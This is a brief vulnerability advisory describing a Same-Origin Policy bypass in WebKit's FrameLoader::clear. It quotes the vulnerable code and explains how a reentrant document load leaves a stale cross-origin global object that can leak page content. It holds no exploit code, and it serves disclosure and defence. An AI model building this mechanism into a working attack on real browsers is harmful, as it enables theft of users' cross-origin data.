WebKit: Same-Origin Policy bypass in FrameLoader::clear  
  
VULNERABILITY DETAILS  
```  
void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)  
{  
m_frame.editor().clear();  
  
if (!m_needsClear)  
return; // ***1***  
m_needsClear = false;  
  
if (m_frame.document()->pageCacheState() != Document::InPageCache) {  
m_frame.document()->cancelParsing(); // ***2***  
[...]  
if (clearWindowProperties)  
m_frame.windowProxy().setDOMWindow(newDocument->domWindow()); // ***3***  
```  
  
This bug is similar to https://bugs.chromium.org/p/project-zero/issues/detail?id=1162. In certain  
circumstances, `Document::cancelParsing`[2], which is not guarded by `FrameNavigationDisabler`,  
might fire the `readystatechanged` event handler. If the handler performs a synchronous document  
load, the reentrant `clear` call for the new document will exit early[1] and won't update the  
active global object of the page[3], so the new document will use the old (potentially  
cross-origin) global object for JavaScript execution. An attacker can exploit it to partially leak  
the content of the new document.
